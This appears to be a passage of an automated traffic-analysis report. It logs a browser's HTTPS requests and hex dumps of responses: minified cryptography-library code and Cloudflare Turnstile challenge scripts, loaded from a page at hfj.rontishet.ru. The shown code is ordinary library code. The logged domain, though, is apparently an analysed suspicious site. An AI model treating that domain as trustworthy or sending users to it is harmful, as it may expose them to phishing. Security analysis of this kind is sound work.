2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 33 5d 3d 49 5b 33 5d 2b 28 49 5b 32 5d 3c 3c 38 7c 49 5b Data Ascii: ],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]>>>16)\|0,t[3]=I[3]+(I[2]<<8\|I[
2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 77 6f 72 64 73 2c 72 3d Data Ascii: instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:function(t){for(var e=t.words,r=
2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 Data Ascii: ndexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstu
2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 2e 5f 68 61 73 68 2e 77 6f 72 64 73 2c 73 3d 74 5b 65 2b 30 5d 2c 63 3d 74 5b 65 2b 31 5d Data Ascii: nd({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this._hash.words,s=t[e+0],c=t[e+1]
2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b 35 30 5d 29 2c 62 3d 44 28 62 2c 78 2c 53 2c 6d 2c 66 2c 32 31 2c 41 5b 35 31 5d 29 2c 6d Data Ascii: m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[50]),b=D(b,x,S,m,f,21,A[51]),m

Timestamp	Bytes transferred	Direction	Data
2024-09-30 17:20:25 UTC	647	OUT	GET /turnstile/v0/g/ec4b873d446c/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hfj.rontishet.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-30 17:20:26 UTC	441	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 17:20:26 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47262 Connection: close accept-ranges: bytes last-modified: Tue, 17 Sep 2024 16:06:37 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8cb5e232cbb55e6b-EWR
2024-09-30 17:20:26 UTC	928	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 56 74 28 65 2c 72 2c 61 2c 6f 2c 63 2c 6c 2c 67 29 7b 74 72 79 7b 76 61 72 20 66 3d 65 5b 6c 5d 28 67 29 2c 70 3d 66 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 73 29 7b 61 28 73 29 3b 72 65 74 75 72 6e 7d 66 2e 64 6f 6e 65 3f 72 28 70 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 70 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 72 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Vt(e,r,a,o,c,l,g){try{var f=e[l](g),p=f.value}catch(s){a(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Wt(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var l=e.apply(r,a);funct
2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 74 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 6c 6c 3f 72 3a 7b 7d 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 Data Ascii: ct.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function tt(e,r){return r=r!=null?r:{},Object.getOwnPropertyD
2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 48 74 28 65 29 7c 7c 42 74 28 65 2c 72 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 6a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 50 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 44 65 28 65 2c 72 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 5d 26 31 29 74 68 72 6f 77 20 6c 5b 31 5d 3b 72 65 74 75 72 6e 20 6c 5b 31 5d 7d 2c 74 72 Data Ascii: function Ae(e,r){return Ht(e)\|\|Bt(e,r)\|\|qt(e,r)\|\|jt()}function P(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function De(e,r){var a={label:0,sent:function(){if(l[0]&1)throw l[1];return l[1]},tr
2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 47 74 3d 33 30 30 30 32 30 3b 76 61 72 20 50 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4d 41 4e 41 47 45 44 3d 22 6d 61 6e 61 67 65 64 22 2c Data Ascii: oaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Gt=300020;var Pe=300030;var Ue=300031;var q;(function(e){e.MANAGED="managed",
2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 45 4e 44 45 52 3d 22 72 65 6e 64 65 72 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 7d 29 28 70 65 7c 7c 28 70 65 3d 7b 7d 29 29 3b 76 61 72 20 6f 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 7d 29 Data Ascii: al",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(function(e){e.RENDER="render",e.EXECUTE="execute"})(pe\|\|(pe={}));var oe;(function(e){e.EXECUTE="execute"})
2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e Data Ascii: archParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="default"&&r.set("clearance_level",e.params.
2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 6c 2c 67 3d 4c 28 43 72 2c 28 6c 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 66 2c 70 3d 4c 28 4e 72 2c 28 66 3d 28 61 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 61 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 66 21 3d 3d 76 6f 69 64 20 30 3f 66 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 Data Ascii: ===Se.FAILURE_HAVING_TROUBLES,l,g=L(Cr,(l=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&l!==void 0?l:"nonexistent"),f,p=L(Nr,(f=(a=e.displayLanguage)===null\|\|a===void 0?void 0:a.toLowerCase())!==null&&f!==void 0?f:"nonexistent")
2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 67 29 7b 76 61 72 20 66 3d 5b 6e 75 6c 6c 5d 3b 66 2e 70 75 73 68 2e 61 70 70 6c 79 28 66 2c 6c 29 3b 76 61 72 20 70 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 66 29 2c 73 3d 6e 65 77 20 70 3b 72 65 74 75 72 6e 20 67 26 26 4a 28 73 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 73 7d 2c 49 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 Data Ascii: uct:Ie=function(c,l,g){var f=[null];f.push.apply(f,l);var p=Function.bind.apply(c,f),s=new p;return g&&J(s,g.prototype),s},Ie.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Object.getPrototypeOf:function(a){return a.__proto__\|\|Object
2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 71 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 57 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 57 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 57 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 54 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 75 6d 65 6e 74 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 3b 69 66 28 55 28 72 2c 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 72 Data Ascii: flare Turnstile] ".concat(e))}function qe(e){return e.startsWith(We)?e.substring(We.length):null}function K(e){return"".concat(We).concat(e)}function Tt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=document.currentScript;if(U(r,HTMLScriptElement)&&e.test(r
2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 66 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b 76 61 72 20 73 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 73 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 66 65 65 64 62 61 63 6b 22 2c 73 2e 69 64 3d Data Ascii: f.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";var s=document.createElement("div");s.className="cf-turnstile-feedback",s.id=

Timestamp	Bytes transferred	Direction	Data
2024-09-30 17:20:26 UTC	799	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/yzcnc/0x4AAAAAAAj4CaQsDLLGC_TE/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://hfj.rontishet.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-30 17:20:26 UTC	1369	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 17:20:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 164872 Connection: close permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() referrer-policy: same-origin origin-agent-cluster: ?1 cross-origin-opener-policy: same-origin cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cross-origin-resource-policy: cross-origin content-security-policy: frame-src https://challenges.cloudflare.com/ blob:; base-uri 'self' document-policy: js-profiling accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cross-origin-embedder-policy: require-corp critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA
2024-09-30 17:20:26 UTC	52	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 63 62 35 65 32 33 37 61 62 38 38 30 66 34 37 2d 45 57 52 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8cb5e237ab880f47-EWR
2024-09-30 17:20:26 UTC	1317	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
